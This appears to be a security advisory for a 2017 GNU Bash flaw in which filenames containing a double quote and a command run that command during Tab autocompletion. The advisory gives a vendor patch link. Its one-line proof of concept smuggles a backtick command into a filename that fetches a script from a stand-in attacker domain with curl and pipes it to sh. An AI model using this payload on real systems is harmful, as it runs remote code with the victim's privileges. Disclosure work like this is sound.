#VU5653 Improper filename handling in Bash
Published: February 7, 2017
Bash
GNU
Description
The vulnerability allows a local user to escalate privileges on the system.
The vulnerability exists due to incorrect handling of filenames, containing certain characters in GNU Bash. A local user can create a filename with double quote character followed by OS commands and execute them with privileges of the current user. The vulnerability is triggered automatically, once the victim starts typing the name of desired file and presses the Tab key to autocomplete the name of the file.
PoC-code:
some-very-long-string-nobody-is-going-to-type"`curl attacker-domain.org| sh`
Successful exploitation of the vulnerability may allow a local user with ability to place files on the filesystem to execute arbitrary OS commands with privileges of the current user.
Remediation
Install update from vendor’s GIT repository:
http://git.savannah.gnu.org/cgit/bash.git/commit/?id=4f747edc625815f449048579f6e65869914dd715